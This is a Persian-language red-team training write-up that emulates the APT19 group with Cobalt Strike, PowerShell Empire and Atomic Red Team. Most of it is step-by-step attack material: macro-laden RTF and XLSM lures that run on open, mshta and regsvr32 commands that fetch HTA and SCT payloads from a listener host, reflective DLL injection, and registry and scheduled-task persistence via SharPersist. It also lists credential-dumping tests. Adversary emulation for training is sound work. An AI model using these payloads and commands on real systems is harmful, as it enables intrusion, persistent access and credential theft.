پیاده سازی APT 19

جلسه سوم دوره کارآموزی شرکت مهندسی امن ارتباط سینداد

برای مشاهده آموزش کامل سناریو به لینک زیر مراجعه فرمایید:

APT 19

APT19, Codoso, C0d0so0, Codoso Team, Sunshop Group, Group G0073 | MITRE ATT&CK®

APT19 is a Chinese-based Threat Group That Has Targeted a variety of industries, including defense, finance, energy, pharmaceutical, Telecommunications, high-tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to Target seven law and investment firms. [1] Some analysts Track APT19 and Deep Panda as The same group, but it is unclear from open source information if The groups are The same

 

برای نصب و راه اندازی Empire  از مستندات خود ابزار کمک بگیرید:

Installation – Empire Wiki (gitbook.io)

 

اول از Cobalt Strike  شروع می کنم

برای ران کردنش از این روش استفاده می کنیم:

 

خوب بعد teamserver  بریم وصل بشیم بهش :

 

 

 

 

خوب از خود cobalt میایم MACRO جنریت میکنیم بهمون کد VBA میده  و بایند کنید به Listener http که ایجاد کردید

 

خوب یک پیلود RTF هم بسازیم. دیگه مجاب کردن ران کردن باز کردن XLSM و RTF شما نیاز به مهندسی اجتماعی داره بریم چک کنیم:

اول بریم یک RTF بسازیم word  باز می کنم Developer را فعال می کنم:

 

 

حالا از TAB اش میایم تو بخش Visual Basic کدی که از cobalt  گرفتم پیست می کنم.حتما حواستون باشه document_open فراخوانی بشه تا باز کرد ورد پیلود ران بشه.

 

 

خوب تست می کنم وقتی باز بشه RTF کلاینت به کنسول CS من اضافه میشه.

بریم یک weaponized روی اکسل بکنیم.

 

از این روش می تونیم HTA بسازیم که APT19 همین کار دقیقا کرده بعد از اینکه Generate  کردید تموم شد باید این فایل HOST کنیم و بعد با XLSM اینو فراخوانی کنیم از سمت تارگت

از خود CS میریم برای host اش اقدام کنیم :

 

هر جا HTA ذخیره کردید انتخاب می کنیم:

 

وقتی لانچ بزنیم از سمت سرور ما اماده میشه همه چیز فقط ساخت فایل مخرب XLSM می ماند:

یه همچین خروجی بهمون باید بده :

http://192.168.219.128:80/salam.hta

خوب اکسل رو باز کنید :

از قسمت پایین سمت چپ  روی sheet1 کلیک راست کنید و insert بزنید باید یک کنسول باز بشه براتون حالا ما MACRO ایجاد می کنیم:

=ALERT(“test”)

=EXEC(“mshta.exe http://192.168.219.128:80/salam.hta”)

حتما تو سلولی که پیلود میخواد اجرا بشه من اسمش رو می کنم Auto_Open که به محض باز شدن پیلود اجرا بشه می بینیم که به کنسول CS یک کلاینت اضافه می شه.

خوب اومدیم در تب ماکرو به این شکل باید پیلود های HTA بزاریم داخل اکسل :

 

حتما excel رو save as XLSM بزنید که ماکرو فعال باشه علاوه بر اون

تا اینجا کار

 

Command and Control

Commonly Used Port (T1043) – TCP port 80; Standard Application Layer Protocol (T1071) – HTTP; Deobfuscate/Decode Files or Information (T1140); Data Encoding (T1132) –  used Base64 to encode communications to the C2 server

ما هم CS هم Empire استفاده می کنیم:

Initial Access

Spearphishing attachment (T1193); Spearphishing link (T1192)

XLSM, RTF

Execution

PowerShell (T1086); User Execution; Hidden Windows (T1143) – used -W Hidden to conceal PowerShell windows by setting the Window Style parameter to hidden; Obfuscated Files or Information (T1027) – used Base64 to obfuscate commands and the payload; DLL Side-Loading (T1073)

Dllsideloading

 

 

upload /home/soheil/Desktop/Payloads/rto.dll

 

اجرا روی تارگت

قبلش باید چک باشه entrypoint درست زدید

dumpbin.exe /exports rto.dll

rundll32 rto.dll,rto

 

 

Discover

System Owner/User Discovery (T1033); System Information Discovery (T1082) System Network Configuration Discovery (T1016)

Persistence

Registry Run Keys/ Start up Folder (T1060) – establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\

SharPersist -t schtask -c “C:\Windows\System32\cmd.exe” -a “/c calc.exe” -n “Some Task” -m add -o hourly

SharPersist -t reg -c “C:\Windows\System32\cmd.exe” -a “/c C:\tmp\rto.exe” -k “hkcurun” -v “rto” -m add

SharPersist -t reg -c “C:\Windows\System32\cmd.exe” -a “/c C:\tmp\rto.exe” -k “hklmrun” -v “rto” -m add -o env

Defense Evasion

Regsvr32 (T1117); Scripting (T1064) – downloaded and launched code within a SCT file to bypass application whitelisting techniques

C:\Windows\System32\cmd.exe /c “C:\Windows\System32\regsvr32.exe /s /n /u /i: C:\Users\soheil\Downloads\beacon.sct scrobj.dll”

حالا بریم سراغ Powershell-empire

حتما قبلش با کامند یا docker نصب کنید.

ساخت Listener  روی پورت 80

Type: http

Name: http

Host: http://10.0.0.187

Port: 80

BindIP: 10.0.0.187

Jitter: 0.5

StagingKey: georgy

Type: windows/hta

Listner: http

Base64: True

Language: powershell

Outfile: /tmp/Resume.hta

Mshta http://192.168.109.141:8000/cv.hta

Type: windows/launcher_sct

Listner: http

Base64: True

Language: powershell

Type: windows/dll

Listner: http

Arch: x86

Language: powershell

OutFile: /tmp/launcher.dll

Optional Fields

Obfuscate: True

ObfuscateCommand: Token\String\1

See processes running: ps

usemodule code_execution/invoke_reflectivepeinjection

set ProcID: <processID>

set DllPath: /tmp/launcher.dll

Discovery

antivirusproduct

get_uaclevel

winenum

persistence

usemodule persistence/userland/registry

set Listener: http

HKCU\Software\Microsoft\Windows\CurrentVersion

Defense evasion

C:\Windows\System32\cmd.exe /c “C:\Windows\System32\regsvr32.exe /s /n /u /i:http:\10.0.0.187:8080\launcher.sct scrobj.dll”

cd C:\Users\<username>

upload /tmp/file

shell C:\Users\<username>\<executable>

 

 

حالا بریم سراغ ART

برای نصب ART روی ویندوز باید پاورشل Nuget نصب کنیم:

GitHub – redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE’s ATT&CK.

GitHub – redcanaryco/invoke-atomicredteam: Invoke-AtomicRedTeam is a PowerShell module to execute tests as defined in the [atomics folder](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics) of Red Canary’s Atomic Red Team project.

Installing Invoke AtomicRedTeam · redcanaryco/invoke-atomicredteam Wiki · GitHub

Get-Host

Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser

IEX (IWR ‘https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1’ -UseBasicParsing);

Install-AtomicRedTeam

IEX (IWR ‘https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1’ -UseBasicParsing);

Install-AtomicsFolder

 

خوب کار با ART یکم فرق میکنه با C2 ها باید بدونید کدام تاکتیک و تکنیک میخواید اجرا کنید قبل از هر اجرایی ببینید تاکتیک و تکنیک چی هست :

Invoke-AtomicTest T1003 –ShowDetailsBrief

 

Invoke-AtomicTest T1003 -ShowDetails

 

 

هر تکنیکی ممکنه نیاز داشته باشه به یک سری پیش نیاز مثلا سیستم عامل و …

Invoke-AtomicTest T1003 -CheckPrereqs

 

حالا می تونیم تکنیک مد نظر اینطوری اجرا کنیم:

Invoke-AtomicTest T1218.010 -TestNumbers 1,2

 

تکنیک ها رو میشه به صورت ریموت هم روی ویندوز لینوکس و مک اجرا کرد منتها باید روی تارگت ها Powershell core  نصب کنیم و Powershell remote باز کنیم.

$sess = New-PSSession -ComputerName testcomputer -Credential domain\usernameInvoke-AtomicTest T1218.010 -Session $sess -GetPrereqsInvoke-AtomicTest T1218.010 -Session $sess

 

بهترین قسمتش Cleanup کردن به راحتی پس از هر تست ما می توانیم به راحتی تمام Cleanup کنیم بدون اینکه restore snapshot کنیم.

Invoke-AtomicTest T1218.010 -Cleanup

 

حالا بریم سراغ Caldera

 

برای مشاهده Emulation نحوه کار کردن با Caldera به ویدیو زیر مراجعه کنید: